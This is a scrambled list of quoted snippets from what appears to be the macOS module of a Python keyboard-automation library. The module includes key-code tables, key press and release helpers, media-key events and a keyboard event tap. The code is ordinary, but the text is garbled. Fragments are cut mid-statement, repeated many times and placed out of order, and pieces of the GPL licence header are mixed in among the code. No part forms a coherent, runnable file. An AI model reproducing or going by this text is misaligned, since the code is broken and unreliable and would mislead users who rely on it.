"class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp),",
"if down else 0xb00, # flags 0, # timestamp 0, # window 0,",
"# http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3,",
"press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True)",
"'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key",
"= { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP':",
"'6': 0x16, '5': 0x17, '=': 0x18, '9': 0x19, '7': 0x1a, '-': 0x1b, '8':",
"handler(self, proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown:",
"# self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try:",
"down) mkeyStr = '' for mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr",
"PARTICULAR PURPOSE. See the #GNU General Public License for more details. # #You",
"= character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None,",
"Free Software Foundation, either version 3 of the License, or #(at your option)",
"#but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS",
"published by #the Free Software Foundation, either version 3 of the License, or",
"self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self,",
"option) any later version. # #This program is distributed in the hope that",
"-1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate(",
"0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b,",
"0x2e, '.': 0x2f, '`': 0x32, ' ': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n':",
"'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT':",
"'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT' #",
"{ 'a': 0x00, 's': 0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05,",
"if key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self, key): #",
"0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11, '1': 0x12, '2': 0x13,",
"0x10, 't': 0x11, '1': 0x12, '2': 0x13, '3': 0x14, '4': 0x15, '6': 0x16,",
"'\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return' : 0x24, 'tab' : 0x30, 'space'",
"3 of the License, or #(at your option) any later version. # #This",
"= '' for mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+'",
"'y': 0x10, 't': 0x11, '1': 0x12, '2': 0x13, '3': 0x14, '4': 0x15, '6':",
"0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d,",
"'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY':",
"Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self,",
"# Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1,",
"if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if",
"\"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location",
"down): \"\"\" Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key]",
"4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10,",
"Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy,",
"type (0,0), # location 0xa00 if down else 0xb00, # flags 0, #",
"kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = ''",
"= special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location 0xa00 if",
"events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's': 0x01, 'd': 0x02, 'f':",
"raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper method for",
"time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\"",
": 0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F, } #",
": 0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F, } # Taken from ev_keymap.h",
"mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\":",
"method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_(",
"'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST':",
"down else 0xb00, # flags 0, # timestamp 0, # window 0, #",
"0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a,",
"received a copy of the GNU General Public License #along with this program.",
"the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even",
"0x31, 'delete' : 0x33, 'escape' : 0x35, 'command' : 0x37, 'shift' : 0x38,",
"0x33, 'escape' : 0x35, 'command' : 0x37, 'shift' : 0x38, 'capslock' : 0x39,",
"0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f,",
"'rightcontrol' : 0x3E, 'function' : 0x3F, } # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h",
"character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code,",
"if key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key =",
"loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False)",
"key, down): \"\"\" Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code =",
"self._press_normal_key(key, True) def release_key(self, key): # remove the key if key.title() in self.modifier_table:",
"License as published by #the Free Software Foundation, either version 3 of the",
"implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU",
"0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25,",
"']': 0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22, 'p': 0x23, 'l':",
"FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details.",
"= Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for mkey in self.modifier_table: if self.modifier_table[mkey]:",
"distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY;",
"release_key(self, key): # remove the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key",
"implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac",
"self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1:",
"0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20,",
"'tab' : 0x30, 'space' : 0x31, 'delete' : 0x33, 'escape' : 0x35, 'command'",
"'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE':",
"def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key =",
"in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key",
"the terms of the GNU General Public License as published by #the Free",
"'\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n':",
"_press_special_key(self, key, down): \"\"\" Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code",
"0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F,",
"else: self._press_normal_key(key, True) def release_key(self, key): # remove the key if key.title() in",
"0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07,",
"= { 'a': 0x00, 's': 0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04, 'g':",
"= 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate |",
"0xb) << 8), # data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta):",
"} class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self,",
"#(at your option) any later version. # #This program is distributed in the",
"not, see <http://www.gnu.org/licenses/>. import time import Quartz from AppKit import NSEvent from .base",
"def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None)",
"key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True)",
"'9': 0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e, 'o':",
"import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h",
"License, or #(at your option) any later version. # #This program is distributed",
"0x00, 's': 0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06,",
"as published by #the Free Software Foundation, either version 3 of the License,",
"__init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in",
"= Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None,",
"key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self, key): # remove",
"it and/or modify #it under the terms of the GNU General Public License",
"self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN'",
"Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for mkey in self.modifier_table: if self.modifier_table[mkey]: if",
"NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location 0xa00 if down else 0xb00, #",
"0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22, 'p': 0x23,",
"def _press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand |",
"'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F, } # Taken from",
"'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR':",
"'f': 0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08, 'v':",
"(0,0), # location 0xa00 if down else 0xb00, # flags 0, # timestamp",
"Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key) if self.capture:",
"special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self, key): # remove the key",
"} # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN':",
"3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9,",
"'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL':",
"'a': 0x00, 's': 0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05, 'z':",
"KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper method",
"= NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location 0xa00 if down else 0xb00,",
"self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate",
"'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32, ' ': 0x31, '\\r': 0x24,",
"terms of the GNU General Public License as published by #the Free Software",
"software: you can redistribute it and/or modify #it under the terms of the",
"Foundation, either version 3 of the License, or #(at your option) any later",
"http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), #",
"work :( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key,",
"# self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()] #",
"0xb00, # flags 0, # timestamp 0, # window 0, # ctx 8,",
": 0x24, 'tab' : 0x30, 'space' : 0x31, 'delete' : 0x33, 'escape' :",
": 0x30, 'space' : 0x31, 'delete' : 0x33, 'escape' : 0x35, 'command' :",
"<NAME> # #This program is free software: you can redistribute it and/or modify",
"self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in self.modifier_table:",
"def press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key,",
"<< 16) | ((0xa if down else 0xb) << 8), # data1 -1",
"'h': 0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09, 'b':",
"'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand",
"data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap =",
"0x24, 'return' : 0x24, 'tab' : 0x30, 'space' : 0x31, 'delete' : 0x33,",
"'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP':",
"'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F, }",
"'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self):",
"\"\"\" Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev",
"# flags 0, # timestamp 0, # window 0, # ctx 8, #",
"'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT':",
"# timestamp 0, # window 0, # ctx 8, # subtype (key_code <<",
"/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's': 0x01, 'd': 0x02, 'f': 0x03, 'h':",
"'alternate' : 0x3A, 'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol'",
"you can redistribute it and/or modify #it under the terms of the GNU",
"self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :(",
"'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\':",
"'option' : 0x3A, 'alternate' : 0x3A, 'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption'",
"Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not",
"License #along with this program. If not, see <http://www.gnu.org/licenses/>. import time import Quartz",
"= Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def",
"self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key",
"21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift'",
"'t': 0x11, '1': 0x12, '2': 0x13, '3': 0x14, '4': 0x15, '6': 0x16, '5':",
"key, down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl |",
"| kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr =",
"http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK':",
"0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11, '1': 0x12, '2': 0x13, '3': 0x14,",
"<http://www.gnu.org/licenses/>. import time import Quartz from AppKit import NSEvent from .base import PyKeyboardMeta,",
"True) def release_key(self, key): # remove the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False})",
"len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')')",
"by #the Free Software Foundation, either version 3 of the License, or #(at",
"{} not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper method for special keys.",
"None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap,",
"the GNU General Public License #along with this program. If not, see <http://www.gnu.org/licenses/>.",
"self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey",
"0x32, ' ': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return' : 0x24,",
"True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type, event, refcon): key",
"'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE':",
"# type (0,0), # location 0xa00 if down else 0xb00, # flags 0,",
"'0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22, 'p':",
"7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13,",
"= 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True})",
"^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower()",
": 0x38, 'capslock' : 0x39, 'option' : 0x3A, 'alternate' : 0x3A, 'control' :",
"class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key):",
"8, # subtype (key_code << 16) | ((0xa if down else 0xb) <<",
"from AppKit import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h",
"'5': 0x17, '=': 0x18, '9': 0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c, '0':",
"0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6,",
"0x35, 'command' : 0x37, 'shift' : 0x38, 'capslock' : 0x39, 'option' : 0x3A,",
"Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0)",
"import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a':",
"0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32, ' ': 0x31, '\\r': 0x24, '\\t':",
"'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r':",
"key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True) else:",
"and/or modify #it under the terms of the GNU General Public License as",
"'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False}",
"special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, #",
"key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp:",
"Public License #along with this program. If not, see <http://www.gnu.org/licenses/>. import time import",
"== Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key) if self.capture: Quartz.CGEventSetType(event, Quartz.kCGEventNull) return",
"refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type ==",
"Public License for more details. # #You should have received a copy of",
": 0x31, 'delete' : 0x33, 'escape' : 0x35, 'command' : 0x37, 'shift' :",
"else 0xb00, # flags 0, # timestamp 0, # window 0, # ctx",
"'' for mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^",
"0x15, '6': 0x16, '5': 0x17, '=': 0x18, '9': 0x19, '7': 0x1a, '-': 0x1b,",
"(key_code << 16) | ((0xa if down else 0xb) << 8), # data1",
"'r': 0x0f, 'y': 0x10, 't': 0x11, '1': 0x12, '2': 0x13, '3': 0x14, '4':",
"Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap,",
